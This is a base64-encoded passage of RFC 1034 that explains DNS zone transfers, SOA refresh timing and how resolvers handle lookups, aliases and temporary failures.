c28gYmVlbiBwcm9wb3NlZCB3aGljaCB3aWxsIHVzZSB0aGlzIGZlYXR1cmUuClRoZSBpZGVhIGlzIHRoYXQgaWYgY2FjaGVkIGRhdGEgaXMga25vd24gdG8gY29tZSBmcm9tIGEgcGFydGljdWxhciB6b25lLAphbmQgaWYgYW4gYXV0aG9yaXRhdGl2ZSBjb3B5IG9mIHRoZSB6b25lJ3MgU09BIGlzIG9idGFpbmVkLCBhbmQgaWYgdGhlCnpvbmUncyBTRVJJQUwgaGFzIG5vdCBjaGFuZ2VkIHNpbmNlIHRoZSBkYXRhIHdhcyBjYWNoZWQsIHRoZW4gdGhlIFRUTCBvZgp0aGUgY2FjaGVkIGRhdGEgY2FuIGJlIHJlc2V0IHRvIHRoZSB6b25lIE1JTklNVU0gdmFsdWUgaWYgaXQgaXMgc21hbGxlci4KVGhpcyB1c2FnZSBpcyBtZW50aW9uZWQgZm9yIHBsYW5uaW5nIHB1cnBvc2VzIG9ubHksIGFuZCBpcyBub3QKcmVjb21tZW5kZWQgYXMgeWV0LgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDI3XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCjQuMy41LiBab25lIG1haW50ZW5hbmNlIGFuZCB0cmFuc2ZlcnMKClBhcnQgb2YgdGhlIGpvYiBvZiBhIHpvbmUgYWRtaW5pc3RyYXRvciBpcyB0byBtYWludGFpbiB0aGUgem9uZXMgYXQgYWxsCm9mIHRoZSBuYW1lIHNlcnZlcnMgd2hpY2ggYXJlIGF1dGhvcml0YXRpdmUgZm9yIHRoZSB6b25lLiAgV2hlbiB0aGUKaW5ldml0YWJsZSBjaGFuZ2VzIGFyZSBtYWRlLCB0aGV5IG11c3QgYmUgZGlzdHJpYnV0ZWQgdG8gYWxsIG9mIHRoZSBuYW1lCnNlcnZlcnMuICBXaGlsZSB0aGlzIGRpc3RyaWJ1dGlvbiBjYW4gYmUgYWNjb21wbGlzaGVkIHVzaW5nIEZUUCBvciBzb21lCm90aGVyIGFkIGhvYyBwcm9jZWR1cmUsIHRoZSBwcmVmZXJyZWQgbWV0aG9kIGlzIHRoZSB6b25lIHRyYW5zZmVyIHBhcnQKb2YgdGhlIEROUyBwcm90b2NvbC4KClRoZSBnZW5lcmFsIG1vZGVsIG9mIGF1dG9tYXRpYyB6b25lIHRyYW5zZmVyIG9yIHJlZnJlc2hpbmcgaXMgdGhhdCBvbmUKb2YgdGhlIG5hbWUgc2VydmVycyBpcyB0aGUgbWFzdGVyIG9yIHByaW1hcnkgZm9yIHRoZSB6b25lLiAgQ2hhbmdlcyBhcmUKY29vcmRpbmF0ZWQgYXQgdGhlIHByaW1hcnksIHR5cGljYWxseSBieSBlZGl0aW5nIGEgbWFzdGVyIGZpbGUgZm9yIHRoZQp6b25lLiAgQWZ0ZXIgZWRpdGluZywgdGhlIGFkbWluaXN0cmF0b3Igc2lnbmFscyB0aGUgbWFzdGVyIHNlcnZlciB0bwpsb2FkIHRoZSBuZXcgem9uZS4gIFRoZSBvdGhlciBub24tbWFzdGVyIG9yIHNlY29uZGFyeSBzZXJ2ZXJzIGZvciB0aGUKem9uZSBwZXJpb2RpY2FsbHkgY2hlY2sgZm9yIGNoYW5nZXMgKGF0IGEgc2VsZWN0YWJsZSBpbnRlcnZhbCkgYW5kCm9idGFpbiBuZXcgem9uZSBjb3BpZXMgd2hlbiBjaGFuZ2VzIGhhdmUgYmVlbiBtYWRlLgoKVG8gZGV0ZWN0IGNoYW5nZXMsIHNlY29uZGFyaWVzIGp1c3QgY2hlY2sgdGhlIFNFUklBTCBmaWVsZCBvZiB0aGUgU09BCmZvciB0aGUgem9uZS4gIEluIGFkZGl0aW9uIHRvIHdoYXRldmVyIG90aGVyIGNoYW5nZXMgYXJlIG1hZGUsIHRoZQpTRVJJQUwgZmllbGQgaW4gdGhlIFNPQSBvZiB0aGUgem9uZSBpcyBhbHdheXMgYWR2YW5jZWQgd2hlbmV2ZXIgYW55CmNoYW5nZSBpcyBtYWRlIHRvIHRoZSB6b25lLiAgVGhlIGFkdmFuY2luZyBjYW4gYmUgYSBzaW1wbGUgaW5jcmVtZW50LCBvcgpjb3VsZCBiZSBiYXNlZCBvbiB0aGUgd3JpdGUgZGF0ZSBhbmQgdGltZSBvZiB0aGUgbWFzdGVyIGZpbGUsIGV0Yy4gIFRoZQpwdXJwb3NlIGlzIHRvIG1ha2UgaXQgcG9zc2libGUgdG8gZGV0ZXJtaW5lIHdoaWNoIG9mIHR3byBjb3BpZXMgb2YgYQp6b25lIGlzIG1vcmUgcmVjZW50IGJ5IGNvbXBhcmluZyBzZXJpYWwgbnVtYmVycy4gIFNlcmlhbCBudW1iZXIgYWR2YW5jZXMKYW5kIGNvbXBhcmlzb25zIHVzZSBzZXF1ZW5jZSBzcGFjZSBhcml0aG1ldGljLCBzbyB0aGVyZSBpcyBhIHRoZW9yZXRpYwpsaW1pdCBvbiBob3cgZmFzdCBhIHpvbmUgY2FuIGJlIHVwZGF0ZWQsIGJhc2ljYWxseSB0aGF0IG9sZCBjb3BpZXMgbXVzdApkaWUgb3V0IGJlZm9yZSB0aGUgc2VyaWFsIG51bWJlciBjb3ZlcnMgaGFsZiBvZiBpdHMgMzIgYml0IHJhbmdlLiAgSW4KcHJhY3RpY2UsIHRoZSBvbmx5IGNvbmNlcm4gaXMgdGhhdCB0aGUgY29tcGFyZSBvcGVyYXRpb24gZGVhbHMgcHJvcGVybHkKd2l0aCBjb21wYXJpc29ucyBhcm91bmQgdGhlIGJvdW5kYXJ5IGJldHdlZW4gdGhlIG1vc3QgcG9zaXRpdmUgYW5kIG1vc3QKbmVnYXRpdmUgMzIgYml0IG51bWJlcnMuCgpUaGUgcGVyaW9kaWMgcG9sbGluZyBvZiB0aGUgc2Vjb25kYXJ5IHNlcnZlcnMgaXMgY29udHJvbGxlZCBieQpwYXJhbWV0ZXJzIGluIHRoZSBTT0EgUlIgZm9yIHRoZSB6b25lLCB3aGljaCBzZXQgdGhlIG1pbmltdW0gYWNjZXB0YWJsZQpwb2xsaW5nIGludGVydmFscy4gIFRoZSBwYXJhbWV0ZXJzIGFyZSBjYWxsZWQgUkVGUkVTSCwgUkVUUlksIGFuZApFWFBJUkUuICBXaGVuZXZlciBhIG5ldyB6b25lIGlzIGxvYWRlZCBpbiBhIHNlY29uZGFyeSwgdGhlIHNlY29uZGFyeQp3YWl0cyBSRUZSRVNIIHNlY29uZHMgYmVmb3JlIGNoZWNraW5nIHdpdGggdGhlIHByaW1hcnkgZm9yIGEgbmV3IHNlcmlhbC4KSWYgdGhpcyBjaGVjayBjYW5ub3QgYmUgY29tcGxldGVkLCBuZXcgY2hlY2tzIGFyZSBzdGFydGVkIGV2ZXJ5IFJFVFJZCnNlY29uZHMuICBUaGUgY2hlY2sgaXMgYSBzaW1wbGUgcXVlcnkgdG8gdGhlIHByaW1hcnkgZm9yIHRoZSBTT0EgUlIgb2YKdGhlIHpvbmUuICBJZiB0aGUgc2VyaWFsIGZpZWxkIGluIHRoZSBzZWNvbmRhcnkncyB6b25lIGNvcHkgaXMgZXF1YWwgdG8KdGhlIHNlcmlhbCByZXR1cm5lZCBieSB0aGUgcHJpbWFyeSwgdGhlbiBubyBjaGFuZ2VzIGhhdmUgb2NjdXJyZWQsIGFuZAp0aGUgUkVGUkVTSCBpbnRlcnZhbCB3YWl0IGlzIHJlc3RhcnRlZC4gIElmIHRoZSBzZWNvbmRhcnkgZmluZHMgaXQKaW1wb3NzaWJsZSB0byBwZXJmb3JtIGEgc2VyaWFsIGNoZWNrIGZvciB0aGUgRVhQSVJFIGludGVydmFsLCBpdCBtdXN0CmFzc3VtZSB0aGF0IGl0cyBjb3B5IG9mIHRoZSB6b25lIGlzIG9ic29sZXRlIGFuIGRpc2NhcmQgaXQuCgpXaGVuIHRoZSBwb2xsIHNob3dzIHRoYXQgdGhlIHpvbmUgaGFzIGNoYW5nZWQsIHRoZW4gdGhlIHNlY29uZGFyeSBzZXJ2ZXIKbXVzdCByZXF1ZXN0IGEgem9uZSB0cmFuc2ZlciB2aWEgYW4gQVhGUiByZXF1ZXN0IGZvciB0aGUgem9uZS4gIFRoZSBBWEZSCm1heSBjYXVzZSBhbiBlcnJvciwgc3VjaCBhcyByZWZ1c2VkLCBidXQgbm9ybWFsbHkgaXMgYW5zd2VyZWQgYnkgYQpzZXF1ZW5jZSBvZiByZXNwb25zZSBtZXNzYWdlcy4gIFRoZSBmaXJzdCBhbmQgbGFzdCBtZXNzYWdlcyBtdXN0IGNvbnRhaW4KCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjhdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKdGhlIGRhdGEgZm9yIHRoZSB0b3AgYXV0aG9yaXRhdGl2ZSBub2RlIG9mIHRoZSB6b25lLiAgSW50ZXJtZWRpYXRlCm1lc3NhZ2VzIGNhcnJ5IGFsbCBvZiB0aGUgb3RoZXIgUlJzIGZyb20gdGhlIHpvbmUsIGluY2x1ZGluZyBib3RoCmF1dGhvcml0YXRpdmUgYW5kIG5vbi1hdXRob3JpdGF0aXZlIFJScy4gIFRoZSBzdHJlYW0gb2YgbWVzc2FnZXMgYWxsb3dzCnRoZSBzZWNvbmRhcnkgdG8gY29uc3RydWN0IGEgY29weSBvZiB0aGUgem9uZS4gIEJlY2F1c2UgYWNjdXJhY3kgaXMKZXNzZW50aWFsLCBUQ1Agb3Igc29tZSBvdGhlciByZWxpYWJsZSBwcm90b2NvbCBtdXN0IGJlIHVzZWQgZm9yIEFYRlIKcmVxdWVzdHMuCgpFYWNoIHNlY29uZGFyeSBzZXJ2ZXIgaXMgcmVxdWlyZWQgdG8gcGVyZm9ybSB0aGUgZm9sbG93aW5nIG9wZXJhdGlvbnMKYWdhaW5zdCB0aGUgbWFzdGVyLCBidXQgbWF5IGFsc28gb3B0aW9uYWxseSBwZXJmb3JtIHRoZXNlIG9wZXJhdGlvbnMKYWdhaW5zdCBvdGhlciBzZWNvbmRhcnkgc2VydmVycy4gIFRoaXMgc3RyYXRlZ3kgY2FuIGltcHJvdmUgdGhlIHRyYW5zZmVyCnByb2Nlc3Mgd2hlbiB0aGUgcHJpbWFyeSBpcyB1bmF2YWlsYWJsZSBkdWUgdG8gaG9zdCBkb3dudGltZSBvciBuZXR3b3JrCnByb2JsZW1zLCBvciB3aGVuIGEgc2Vjb25kYXJ5IHNlcnZlciBoYXMgYmV0dGVyIG5ldHdvcmsgYWNjZXNzIHRvIGFuCiJpbnRlcm1lZGlhdGUiIHNlY29uZGFyeSB0aGFuIHRvIHRoZSBwcmltYXJ5LgoKNS4gUkVTT0xWRVJTCgo1LjEuIEludHJvZHVjdGlvbgoKUmVzb2x2ZXJzIGFyZSBwcm9ncmFtcyB0aGF0IGludGVyZmFjZSB1c2VyIHByb2dyYW1zIHRvIGRvbWFpbiBuYW1lCnNlcnZlcnMuICBJbiB0aGUgc2ltcGxlc3QgY2FzZSwgYSByZXNvbHZlciByZWNlaXZlcyBhIHJlcXVlc3QgZnJvbSBhCnVzZXIgcHJvZ3JhbSAoZS5nLiwgbWFpbCBwcm9ncmFtcywgVEVMTkVULCBGVFApIGluIHRoZSBmb3JtIG9mIGEKc3Vicm91dGluZSBjYWxsLCBzeXN0ZW0gY2FsbCBldGMuLCBhbmQgcmV0dXJucyB0aGUgZGVzaXJlZCBpbmZvcm1hdGlvbgppbiBhIGZvcm0gY29tcGF0aWJsZSB3aXRoIHRoZSBsb2NhbCBob3N0J3MgZGF0YSBmb3JtYXRzLgoKVGhlIHJlc29sdmVyIGlzIGxvY2F0ZWQgb24gdGhlIHNhbWUgbWFjaGluZSBhcyB0aGUgcHJvZ3JhbSB0aGF0IHJlcXVlc3RzCnRoZSByZXNvbHZlcidzIHNlcnZpY2VzLCBidXQgaXQgbWF5IG5lZWQgdG8gY29uc3VsdCBuYW1lIHNlcnZlcnMgb24Kb3RoZXIgaG9zdHMuICBCZWNhdXNlIGEgcmVzb2x2ZXIgbWF5IG5lZWQgdG8gY29uc3VsdCBzZXZlcmFsIG5hbWUKc2VydmVycywgb3IgbWF5IGhhdmUgdGhlIHJlcXVlc3RlZCBpbmZvcm1hdGlvbiBpbiBhIGxvY2FsIGNhY2hlLCB0aGUKYW1vdW50IG9mIHRpbWUgdGhhdCBhIHJlc29sdmVyIHdpbGwgdGFrZSB0byBjb21wbGV0ZSBjYW4gdmFyeSBxdWl0ZSBhCmJpdCwgZnJvbSBtaWxsaXNlY29uZHMgdG8gc2V2ZXJhbCBzZWNvbmRzLgoKQSB2ZXJ5IGltcG9ydGFudCBnb2FsIG9mIHRoZSByZXNvbHZlciBpcyB0byBlbGltaW5hdGUgbmV0d29yayBkZWxheSBhbmQKbmFtZSBzZXJ2ZXIgbG9hZCBmcm9tIG1vc3QgcmVxdWVzdHMgYnkgYW5zd2VyaW5nIHRoZW0gZnJvbSBpdHMgY2FjaGUgb2YKcHJpb3IgcmVzdWx0cy4gIEl0IGZvbGxvd3MgdGhhdCBjYWNoZXMgd2hpY2ggYXJlIHNoYXJlZCBieSBtdWx0aXBsZQpwcm9jZXNzZXMsIHVzZXJzLCBtYWNoaW5lcywgZXRjLiwgYXJlIG1vcmUgZWZmaWNpZW50IHRoYW4gbm9uLXNoYXJlZApjYWNoZXMuCgo1LjIuIENsaWVudC1yZXNvbHZlciBpbnRlcmZhY2UKCjUuMi4xLiBUeXBpY2FsIGZ1bmN0aW9ucwoKVGhlIGNsaWVudCBpbnRlcmZhY2UgdG8gdGhlIHJlc29sdmVyIGlzIGluZmx1ZW5jZWQgYnkgdGhlIGxvY2FsIGhvc3Qncwpjb252ZW50aW9ucywgYnV0IHRoZSB0eXBpY2FsIHJlc29sdmVyLWNsaWVudCBpbnRlcmZhY2UgaGFzIHRocmVlCmZ1bmN0aW9uczoKCiAgIDEuIEhvc3QgbmFtZSB0byBob3N0IGFkZHJlc3MgdHJhbnNsYXRpb24uCgogICAgICBUaGlzIGZ1bmN0aW9uIGlzIG9mdGVuIGRlZmluZWQgdG8gbWltaWMgYSBwcmV2aW91cyBIT1NUUy5UWFQKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMjldCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKICAgICAgYmFzZWQgZnVuY3Rpb24uICBHaXZlbiBhIGNoYXJhY3RlciBzdHJpbmcsIHRoZSBjYWxsZXIgd2FudHMKICAgICAgb25lIG9yIG1vcmUgMzIgYml0IElQIGFkZHJlc3Nlcy4gIFVuZGVyIHRoZSBETlMsIGl0CiAgICAgIHRyYW5zbGF0ZXMgaW50byBhIHJlcXVlc3QgZm9yIHR5cGUgQSBSUnMuICBTaW5jZSB0aGUgRE5TIGRvZXMKICAgICAgbm90IHByZXNlcnZlIHRoZSBvcmRlciBvZiBSUnMsIHRoaXMgZnVuY3Rpb24gbWF5IGNob29zZSB0bwogICAgICBzb3J0IHRoZSByZXR1cm5lZCBhZGRyZXNzZXMgb3Igc2VsZWN0IHRoZSAiYmVzdCIgYWRkcmVzcyBpZgogICAgICB0aGUgc2VydmljZSByZXR1cm5zIG9ubHkgb25lIGNob2ljZSB0byB0aGUgY2xpZW50LiAgTm90ZSB0aGF0CiAgICAgIGEgbXVsdGlwbGUgYWRkcmVzcyByZXR1cm4gaXMgcmVjb21tZW5kZWQsIGJ1dCBhIHNpbmdsZQogICAgICBhZGRyZXNzIG1heSBiZSB0aGUgb25seSB3YXkgdG8gZW11bGF0ZSBwcmlvciBIT1NUUy5UWFQKICAgICAgc2VydmljZXMuCgogICAyLiBIb3N0IGFkZHJlc3MgdG8gaG9zdCBuYW1lIHRyYW5zbGF0aW9uCgogICAgICBUaGlzIGZ1bmN0aW9uIHdpbGwgb2Z0ZW4gZm9sbG93IHRoZSBmb3JtIG9mIHByZXZpb3VzCiAgICAgIGZ1bmN0aW9ucy4gIEdpdmVuIGEgMzIgYml0IElQIGFkZHJlc3MsIHRoZSBjYWxsZXIgd2FudHMgYQogICAgICBjaGFyYWN0ZXIgc3RyaW5nLiAgVGhlIG9jdGV0cyBvZiB0aGUgSVAgYWRkcmVzcyBhcmUgcmV2ZXJzZWQsCiAgICAgIHVzZWQgYXMgbmFtZSBjb21wb25lbnRzLCBhbmQgc3VmZml4ZWQgd2l0aCAiSU4tQUREUi5BUlBBIi4gIEEKICAgICAgdHlwZSBQVFIgcXVlcnkgaXMgdXNlZCB0byBnZXQgdGhlIFJSIHdpdGggdGhlIHByaW1hcnkgbmFtZSBvZgogICAgICB0aGUgaG9zdC4gIEZvciBleGFtcGxlLCBhIHJlcXVlc3QgZm9yIHRoZSBob3N0IG5hbWUKICAgICAgY29ycmVzcG9uZGluZyB0byBJUCBhZGRyZXNzIDEuMi4zLjQgbG9va3MgZm9yIFBUUiBSUnMgZm9yCiAgICAgIGRvbWFpbiBuYW1lICI0LjMuMi4xLklOLUFERFIuQVJQQSIuCgogICAzLiBHZW5lcmFsIGxvb2t1cCBmdW5jdGlvbgoKICAgICAgVGhpcyBmdW5jdGlvbiByZXRyaWV2ZXMgYXJiaXRyYXJ5IGluZm9ybWF0aW9uIGZyb20gdGhlIEROUywKICAgICAgYW5kIGhhcyBubyBjb3VudGVycGFydCBpbiBwcmV2aW91cyBzeXN0ZW1zLiAgVGhlIGNhbGxlcgogICAgICBzdXBwbGllcyBhIFFOQU1FLCBRVFlQRSwgYW5kIFFDTEFTUywgYW5kIHdhbnRzIGFsbCBvZiB0aGUKICAgICAgbWF0Y2hpbmcgUlJzLiAgVGhpcyBmdW5jdGlvbiB3aWxsIG9mdGVuIHVzZSB0aGUgRE5TIGZvcm1hdAogICAgICBmb3IgYWxsIFJSIGRhdGEgaW5zdGVhZCBvZiB0aGUgbG9jYWwgaG9zdCdzLCBhbmQgcmV0dXJucyBhbGwKICAgICAgUlIgY29udGVudCAoZS5nLiwgVFRMKSBpbnN0ZWFkIG9mIGEgcHJvY2Vzc2VkIGZvcm0gd2l0aCBsb2NhbAogICAgICBxdW90aW5nIGNvbnZlbnRpb25zLgoKV2hlbiB0aGUgcmVzb2x2ZXIgcGVyZm9ybXMgdGhlIGluZGljYXRlZCBmdW5jdGlvbiwgaXQgdXN1YWxseSBoYXMgb25lIG9mCnRoZSBmb2xsb3dpbmcgcmVzdWx0cyB0byBwYXNzIGJhY2sgdG8gdGhlIGNsaWVudDoKCiAgIC0gT25lIG9yIG1vcmUgUlJzIGdpdmluZyB0aGUgcmVxdWVzdGVkIGRhdGEuCgogICAgIEluIHRoaXMgY2FzZSB0aGUgcmVzb2x2ZXIgcmV0dXJucyB0aGUgYW5zd2VyIGluIHRoZQogICAgIGFwcHJvcHJpYXRlIGZvcm1hdC4KCiAgIC0gQSBuYW1lIGVycm9yIChORSkuCgogICAgIFRoaXMgaGFwcGVucyB3aGVuIHRoZSByZWZlcmVuY2VkIG5hbWUgZG9lcyBub3QgZXhpc3QuICBGb3IKICAgICBleGFtcGxlLCBhIHVzZXIgbWF5IGhhdmUgbWlzdHlwZWQgYSBob3N0IG5hbWUuCgogICAtIEEgZGF0YSBub3QgZm91bmQgZXJyb3IuCgogICAgIFRoaXMgaGFwcGVucyB3aGVuIHRoZSByZWZlcmVuY2VkIG5hbWUgZXhpc3RzLCBidXQgZGF0YSBvZiB0aGUKICAgICBhcHByb3ByaWF0ZSB0eXBlIGRvZXMgbm90LiAgRm9yIGV4YW1wbGUsIGEgaG9zdCBhZGRyZXNzCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDMwXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCiAgICAgZnVuY3Rpb24gYXBwbGllZCB0byBhIG1haWxib3ggbmFtZSB3b3VsZCByZXR1cm4gdGhpcyBlcnJvcgogICAgIHNpbmNlIHRoZSBuYW1lIGV4aXN0cywgYnV0IG5vIGFkZHJlc3MgUlIgaXMgcHJlc2VudC4KCkl0IGlzIGltcG9ydGFudCB0byBub3RlIHRoYXQgdGhlIGZ1bmN0aW9ucyBmb3IgdHJhbnNsYXRpbmcgYmV0d2VlbiBob3N0Cm5hbWVzIGFuZCBhZGRyZXNzZXMgbWF5IGNvbWJpbmUgdGhlICJuYW1lIGVycm9yIiBhbmQgImRhdGEgbm90IGZvdW5kIgplcnJvciBjb25kaXRpb25zIGludG8gYSBzaW5nbGUgdHlwZSBvZiBlcnJvciByZXR1cm4sIGJ1dCB0aGUgZ2VuZXJhbApmdW5jdGlvbiBzaG91bGQgbm90LiAgT25lIHJlYXNvbiBmb3IgdGhpcyBpcyB0aGF0IGFwcGxpY2F0aW9ucyBtYXkgYXNrCmZpcnN0IGZvciBvbmUgdHlwZSBvZiBpbmZvcm1hdGlvbiBhYm91dCBhIG5hbWUgZm9sbG93ZWQgYnkgYSBzZWNvbmQKcmVxdWVzdCB0byB0aGUgc2FtZSBuYW1lIGZvciBzb21lIG90aGVyIHR5cGUgb2YgaW5mb3JtYXRpb247IGlmIHRoZSB0d28KZXJyb3JzIGFyZSBjb21iaW5lZCwgdGhlbiB1c2VsZXNzIHF1ZXJpZXMgbWF5IHNsb3cgdGhlIGFwcGxpY2F0aW9uLgoKNS4yLjIuIEFsaWFzZXMKCldoaWxlIGF0dGVtcHRpbmcgdG8gcmVzb2x2ZSBhIHBhcnRpY3VsYXIgcmVxdWVzdCwgdGhlIHJlc29sdmVyIG1heSBmaW5kCnRoYXQgdGhlIG5hbWUgaW4gcXVlc3Rpb24gaXMgYW4gYWxpYXMuICBGb3IgZXhhbXBsZSwgdGhlIHJlc29sdmVyIG1pZ2h0CmZpbmQgdGhhdCB0aGUgbmFtZSBnaXZlbiBmb3IgaG9zdCBuYW1lIHRvIGFkZHJlc3MgdHJhbnNsYXRpb24gaXMgYW4KYWxpYXMgd2hlbiBpdCBmaW5kcyB0aGUgQ05BTUUgUlIuICBJZiBwb3NzaWJsZSwgdGhlIGFsaWFzIGNvbmRpdGlvbgpzaG91bGQgYmUgc2lnbmFsbGVkIGJhY2sgZnJvbSB0aGUgcmVzb2x2ZXIgdG8gdGhlIGNsaWVudC4KCkluIG1vc3QgY2FzZXMgYSByZXNvbHZlciBzaW1wbHkgcmVzdGFydHMgdGhlIHF1ZXJ5IGF0IHRoZSBuZXcgbmFtZSB3aGVuCml0IGVuY291bnRlcnMgYSBDTkFNRS4gIEhvd2V2ZXIsIHdoZW4gcGVyZm9ybWluZyB0aGUgZ2VuZXJhbCBmdW5jdGlvbiwKdGhlIHJlc29sdmVyIHNob3VsZCBub3QgcHVyc3VlIGFsaWFzZXMgd2hlbiB0aGUgQ05BTUUgUlIgbWF0Y2hlcyB0aGUKcXVlcnkgdHlwZS4gIFRoaXMgYWxsb3dzIHF1ZXJpZXMgd2hpY2ggYXNrIHdoZXRoZXIgYW4gYWxpYXMgaXMgcHJlc2VudC4KRm9yIGV4YW1wbGUsIGlmIHRoZSBxdWVyeSB0eXBlIGlzIENOQU1FLCB0aGUgdXNlciBpcyBpbnRlcmVzdGVkIGluIHRoZQpDTkFNRSBSUiBpdHNlbGYsIGFuZCBub3QgdGhlIFJScyBhdCB0aGUgbmFtZSBpdCBwb2ludHMgdG8uCgpTZXZlcmFsIHNwZWNpYWwgY29uZGl0aW9ucyBjYW4gb2NjdXIgd2l0aCBhbGlhc2VzLiAgTXVsdGlwbGUgbGV2ZWxzIG9mCmFsaWFzZXMgc2hvdWxkIGJlIGF2b2lkZWQgZHVlIHRvIHRoZWlyIGxhY2sgb2YgZWZmaWNpZW5jeSwgYnV0IHNob3VsZApub3QgYmUgc2lnbmFsbGVkIGFzIGFuIGVycm9yLiAgQWxpYXMgbG9vcHMgYW5kIGFsaWFzZXMgd2hpY2ggcG9pbnQgdG8Kbm9uLWV4aXN0ZW50IG5hbWVzIHNob3VsZCBiZSBjYXVnaHQgYW5kIGFuIGVycm9yIGNvbmRpdGlvbiBwYXNzZWQgYmFjawp0byB0aGUgY2xpZW50LgoKNS4yLjMuIFRlbXBvcmFyeSBmYWlsdXJlcwoKSW4gYSBsZXNzIHRoYW4gcGVyZmVjdCB3b3JsZCwgYWxsIHJlc29sdmVycyB3aWxsIG9jY2FzaW9uYWxseSBiZSB1bmFibGUKdG8gcmVzb2x2ZSBhIHBhcnRpY3VsYXIgcmVxdWVzdC4gIFRoaXMgY29uZGl0aW9uIGNhbiBiZSBjYXVzZWQgYnkgYQpyZXNvbHZlciB3aGljaCBiZWNvbWVzIHNlcGFyYXRlZCBmcm9tIHRoZSByZXN0IG9mIHRoZSBuZXR3b3JrIGR1ZSB0byBhCmxpbmsgZmFpbHVyZSBvciBnYXRld2F5IHByb2JsZW0sIG9yIGxlc3Mgb2Z0ZW4gYnkgY29pbmNpZGVudCBmYWlsdXJlIG9yCnVuYXZhaWxhYmlsaXR5IG9mIGFsbCBzZXJ2ZXJzIGZvciBhIHBhcnRpY3VsYXIgZG9tYWluLgoKSXQgaXMgZXNzZW50aWFsIHRoYXQgdGhpcyBzb3J0IG9mIGNvbmRpdGlvbiBzaG91bGQgbm90IGJlIHNpZ25hbGxlZCBhcyBhCm5hbWUgb3IgZGF0YSBub3QgcHJlc2VudCBlcnJvciB0byBhcHBsaWNhdGlvbnMuICBUaGlzIHNvcnQgb2YgYmVoYXZpb3IKaXMgYW5ub3lpbmcgdG8gaHVtYW5zLCBhbmQgY2FuIHdyZWFrIGhhdm9jIHdoZW4gbWFpbCBzeXN0ZW1zIHVzZSB0aGUKRE5TLgoKV2hpbGUgaW4gc29tZSBjYXNlcyBpdCBpcyBwb3NzaWJsZSB0byBkZWFsIHdpdGggc3VjaCBhIHRlbXBvcmFyeSBwcm9ibGVtCmJ5IGJsb2NraW5nIHRoZSByZXF1ZXN0IGluZGVmaW5pdGVseSwgdGhpcyBpcyB1c3VhbGx5IG5vdCBhIGdvb2QgY2hvaWNlLApwYXJ0aWN1bGFybHkgd2hlbiB0aGUgY2xpZW50IGlzIGEgc2VydmVyIHByb2Nlc3MgdGhhdCBjb3VsZCBtb3ZlIG9uIHRvCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDMxXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCm90aGVyIHRhc2tzLiAgVGhlIHJlY29tbWVuZGVkIHNvbHV0aW9uIGlzIHRvIGFsd2F5cyBoYXZlIHRlbXBvcmFyeQpmYWlsdXJlIGFzIG9uZSBvZiB0aGUgcG9zc2libGUgcmVzdWx0cyBvZiBhIHJlc29sdmVyIGZ1bmN0aW9uLCBldmVuCnRob3VnaCB0aGlzIG1heSBtYWtlIGVtdWxhdGlvbiBvZiBleGlzdGluZyBIT1NUUy5UWFQgZnVuY3Rpb25zIG1vcmUKZGlmZmljdWx0LgoKNS4zLiBSZXNvbHZlciBpbnRlcm5hbHMKCkV2ZXJ5IHJlc29sdmVyIGltcGxlbWVudGF0aW9uIHVzZXMgc2xpZ2h0bHkgZGlmZmVyZW50IGFsZ29yaXRobXMsIGFuZAp0eXBpY2FsbHkgc3BlbmRzIG11Y2ggbW9yZSBsb2dpYyBkZWFsaW5nIHdpdGggZXJyb3JzIG9mIHZhcmlvdXMgc29ydHMKdGhhbiB0eXBpY2FsIG9jY3VyYW5jZXMuICBUaGlzIHNlY3Rpb24gb3V0bGluZXMgYSByZWNvbW1lbmRlZCBiYXNpYwpzdHJhdGVneSBmb3IgcmVzb2x2ZXIgb3BlcmF0aW9uLCBidXQgbGVhdmVzIGRldGFpbHMgdG8gW1JGQy0xMDM1XS4KCjUuMy4xLiBTdHViIHJlc29sdmVycwoKT25lIG9wdGlvbiBmb3IgaW1wbGVtZW50aW5nIGEgcmVzb2x2ZXIgaXMgdG8gbW92ZSB0aGUgcmVzb2x1dGlvbgpmdW5jdGlvbiBvdXQgb2YgdGhlIGxvY2FsIG1hY2hpbmUgYW5kIGludG8gYSBuYW1lIHNlcnZlciB3aGljaCBzdXBwb3J0cwpyZWN1cnNpdmUgcXVlcmllcy4gIFRoaXMgY2FuIHByb3ZpZGUgYW4gZWFzeSBtZXRob2Qgb2YgcHJvdmlkaW5nIGRvbWFpbgpzZXJ2aWNlIGluIGEgUEMgd2hpY2ggbGFja3MgdGhlIHJlc291cmNlcyB0byBwZXJmb3JtIHRoZSByZXNvbHZlcgpmdW5jdGlvbiwgb3IgY2FuIGNlbnRyYWxpemUgdGhlIGNhY2hlIGZvciBhIHdob2xlIGxvY2FsIG5ldHdvcmsgb3IKb3JnYW5pemF0aW9uLgoKQWxsIHRoYXQgdGhlIHJlbWFpbmluZyBzdHViIG5lZWRzIGlzIGEgbGlzdCBvZiBuYW1lIHNlcnZlciBhZGRyZXNzZXMKdGhhdCB3aWxsIHBlcmZvcm0gd